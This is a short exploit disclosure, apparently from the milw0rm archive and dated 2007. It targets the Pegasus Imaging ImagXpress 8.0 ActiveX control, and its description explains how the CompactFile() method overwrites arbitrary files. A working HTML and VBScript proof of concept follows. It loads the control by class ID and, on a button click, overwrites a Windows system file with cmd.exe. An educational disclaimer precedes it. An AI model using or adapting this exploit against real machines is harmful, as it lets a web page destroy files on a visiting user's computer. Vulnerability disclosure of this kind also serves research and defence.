<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
<b>Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite</b>
url: http://www.pegasusimaging.com/
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
<b><font color='red'>This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.</font></b>
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
<b>Description:
Component name: PegasusImaging.ActiveX.ImagXpress8.dll
Vesrion: 8.0.41.0
This component contains an insecure "CompactFile()" which overwrites
arbitrary files on user's pc.
Passing to the first parameter (sourceFile) of the method an existing
file as argument (e.g. a well known file as cmd.exe), the file passed
as argument to the second parameter (destFile) will be overwrite.</b>
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<object classid='clsid:6277B638-833D-4315-9D78-60FC451DAF07' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
test.CompactFile "c:\windows\system32\cmd.exe", "c:\windows\system_.ini"
MsgBox "Exploit completed."
End Sub
</script>
</span></span>
</code></pre>
# milw0rm.com [2007-10-05]
